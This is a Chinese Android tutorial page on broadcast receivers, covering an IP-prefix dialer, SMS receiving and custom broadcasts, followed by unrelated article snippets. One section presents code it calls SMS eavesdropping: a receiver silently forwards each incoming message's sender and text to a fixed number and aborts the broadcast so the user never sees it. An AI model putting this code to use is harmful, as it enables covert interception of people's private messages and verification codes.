編輯:關於Android編程
activity_main.xml文件:
只有一個輸入ip的文本框和一個保存按鈕,
點擊保存按鈕後執行的程序,將輸入的ip號以SharedPreferences的方式保存在本地,
package com.itheima.ipdail; import android.os.Bundle; import android.app.Activity; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.view.Menu; import android.view.View; import android.widget.EditText; import android.widget.Toast; public class MainActivity extends Activity { private EditText et_ipnumber; private SharedPreferences sp; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); sp = getSharedPreferences("config", MODE_PRIVATE); et_ipnumber = (EditText) findViewById(R.id.et_ipnumber); } /** * 保存按鈕對應的點擊事件 * @param view */ public void save(View view){ String ipnumber = et_ipnumber.getText().toString().trim(); Editor editor = sp.edit(); editor.putString("ipnumber", ipnumber); editor.commit(); Toast.makeText(this, "保存ip號碼完畢", 0).show(); } }
廣播接受者,當有外撥電話到來的時候,從本地SharedPreferences中取出IP號,然後和外撥號碼拼接成新字符串顯示早撥號界面上,
package com.itheima.ipdail; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.util.Log; /** * 廣播接收者,當有外撥電話到來的時候 會處理這個消息 * */ public class OutCallReceiver extends BroadcastReceiver { private static final String TAG = "OutCallReceiver"; private SharedPreferences sp; /** * 當廣播接受者接受到廣播事件的時候調用的方法 */ @Override public void onReceive(Context context, Intent intent) { String number = getResultData(); Log.i(TAG,"有新的電話打出去了。電話號碼為:"+number); sp = context.getSharedPreferences("config", Context.MODE_PRIVATE); String ipnumber = sp.getString("ipnumber", ""); setResultData(ipnumber+number); } }
MainActivity.java
package com.itheima.smslistener; import android.os.Bundle; import android.app.Activity; import android.view.Menu; public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); finish(); } }
5556->5554發送短信,利用廣播接受者取出短信內容
package com.itheima.smslistener; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.telephony.SmsManager; import android.telephony.SmsMessage; import android.util.Log; public class SmsReceiver extends BroadcastReceiver { private static final String TAG = "SmsReceiver"; @Override public void onReceive(Context context, Intent intent) { Log.i(TAG,"有新的短信到來了。"); Object[] objs = (Object[]) intent.getExtras().get("pdus"); for(Object obj:objs){ SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj); String sender = smsMessage.getOriginatingAddress(); String body = smsMessage.getMessageBody(); Log.i(TAG,"短信的發件人:"+sender); Log.i(TAG,"短信的內容:"+body); } } }
當SmsReceiver.java改為如下:
模擬5558->5554發送短信,當5554接收到短信後,自動發送給5556,實現了短信竊聽功能,
package com.itheima.smslistener; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.telephony.SmsManager; import android.telephony.SmsMessage; import android.util.Log; public class SmsReceiver extends BroadcastReceiver { private static final String TAG = "SmsReceiver"; @Override public void onReceive(Context context, Intent intent) { Log.i(TAG,"有新的短信到來了。"); Object[] objs = (Object[]) intent.getExtras().get("pdus"); for(Object obj:objs){ SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj); String sender = smsMessage.getOriginatingAddress(); String body = smsMessage.getMessageBody(); Log.i(TAG,"短信的發件人:"+sender); Log.i(TAG,"短信的內容:"+body); SmsManager smsManager = SmsManager.getDefault(); smsManager.sendTextMessage("5556", null, sender+"--"+body, null, null); } } }
當SmsReceiver.java改為如下:
5558->5554發送短信,
package com.itheima.smslistener; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.telephony.SmsManager; import android.telephony.SmsMessage; import android.util.Log; public class SmsReceiver extends BroadcastReceiver { private static final String TAG = "SmsReceiver"; @Override public void onReceive(Context context, Intent intent) { Log.i(TAG,"有新的短信到來了。"); Object[] objs = (Object[]) intent.getExtras().get("pdus"); for(Object obj:objs){ SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj); String sender = smsMessage.getOriginatingAddress(); String body = smsMessage.getMessageBody(); Log.i(TAG,"短信的發件人:"+sender); Log.i(TAG,"短信的內容:"+body); SmsManager smsManager = SmsManager.getDefault(); smsManager.sendTextMessage("5556", null, sender+"--"+body, null, null); //終止短信的廣播事件。 abortBroadcast(); } } }
在AndroidManifest.xml文件中添加,
但是5556能接收到短信,因為在終止廣播事件之前向5556轉發了,
acticity_main.xml文件為,
MainActivity.java文件為,
package com.itheima.sendbroadcast; import android.app.Activity; import android.content.Intent; import android.os.Bundle; import android.view.View; public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } public void send(View view){ Intent intent = new Intent("com.itheima.sendbroadcast.demo"); sendBroadcast(intent); } }
acticity_main.xml文件為空,
MainActivity.java文件為空,
MyBroadcastReceiver.java文件為,
package com.itheima.myreceiver; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.widget.Toast; public class MyBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { Toast.makeText(context, "我是自定義的廣播接受者,我接受到了自定義消息", 0).show(); } }
首先新建了一個項目用來演示集成ShareSDK 下載好了ShareSDK之後,解壓sharesd
前言:Vibrator簡介: 下面我們就來寫個簡單的例子,來熟悉下這個Vibrator的用法!1.獲得Vibrator實例:Vibrator vb = (Vib
前言ImageView是android開發中非常常用的一種控件,在顯示圖片時,我們可以直接拿來用,也可以根據使用場景,結合幾種不同的顯示方式ScaleType,來對顯示的
OKHttp是一款高效的HTTP客戶端,支持連接同一地址的鏈接共享同一個socket,通過連接池來減小響應延遲,還有透明的GZIP壓縮,請求緩存等優勢。(GitHub頁: